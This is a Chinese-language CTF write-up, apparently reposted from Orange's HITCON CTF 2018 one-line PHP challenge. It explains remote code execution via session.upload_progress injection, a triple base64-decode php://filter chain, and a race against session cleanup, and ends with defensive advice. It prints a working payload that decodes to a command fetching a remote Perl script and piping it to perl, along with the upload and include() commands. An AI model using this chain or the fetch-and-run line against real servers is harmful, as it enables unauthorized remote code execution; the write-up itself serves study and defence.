HITCON CTF 2018 - 单行PHP挑战:会话上传与流过滤器链的极致利用

HITCON CTF 2018 - 单行PHP挑战

这是Orange带来的技术分享 :)

挑战背景

在每年HITCON CTF中,我都会设计至少一个PHP漏洞利用挑战,其特点是源码极其简洁(通常只有几行),但利用难度极高。本次挑战是历年最短的一个------仅含单行PHP代码,运行在默认安装的Ubuntu 18.04 + PHP7.2 + Apache环境。

核心技术点

  1. 会话上传进度控制

    利用session.upload_progress特性(默认启用)向SESSION文件注入可控内容:

    bash 复制代码
    curl http://target/ -H 'Cookie: PHPSESSID=iamorange' \
      -F 'PHP_SESSION_UPLOAD_PROGRESS=payload' -F 'file=@/etc/passwd'
  2. 流过滤器链绕过

    通过多级base64解码过滤器处理前缀污染:

    php 复制代码
    php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange
  3. 竞态条件利用

    对抗session.upload_progress.cleanup的自动清理机制(默认开启),通过快速竞争或大文件上传维持会话。

漏洞利用过程

  1. 构造特殊base64载荷,经过三级解码后生成有效PHP代码:

    php 复制代码
    原始:VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy
    解码后:@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////
  2. 结合会话文件包含漏洞实现RCE:

    php 复制代码
    include('php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange');

防御建议

  • 禁用session.upload_progress功能
  • 设置open_basedir限制文件访问范围
  • 对会话文件路径进行随机化处理
相关推荐
GISer_Jing12 小时前
AI Agent Skills 发现指南:前端工程化与自动化全景
前端·人工智能·自动化
心.c12 小时前
从 Function Call 到渐进式 Skill:大模型能力扩展范式的演进与落地实践
前端·人工智能·react.js·ai·react
IT_陈寒12 小时前
Vue的响应式更新把我坑惨了,原来问题出在这里
前端·人工智能·后端
智慧地球(AI·Earth)12 小时前
用 Python 构建一个“记性好”的 AI 助手:JSON本地存储和向量检索
人工智能·python·json
_张一凡12 小时前
【大语言模型学习】2026年十大LLM训练数据集汇总
人工智能·学习·语言模型·aigc·大模型训练·llm数据集
程序员三明治12 小时前
【AI探索】程序员到底该怎么理解 LLM?
人工智能·ai·大模型·llm·量化·java后端·api调用
Alice-YUE12 小时前
【前端面试之ai概念】大白话讲清 Agent、MCP、Skill、Function Calling、RAG
前端·人工智能·学习·aegnt
打不了嗝 ᥬ᭄12 小时前
一镜通古今:Rokid AI Glasses 驱动的古建筑文物全流程智能讲解终端
人工智能
格林威12 小时前
如何用 eBPF 监控 GigE Vision 相机网络性能
网络·人工智能·数码相机·yolo·计算机视觉·视觉检测·工业相机
云浪12 小时前
从 0 到 1 搭建 RAG 应用:用 LangChain + Chroma + qwen-plus 实现《红楼梦》问答
javascript·vue.js·人工智能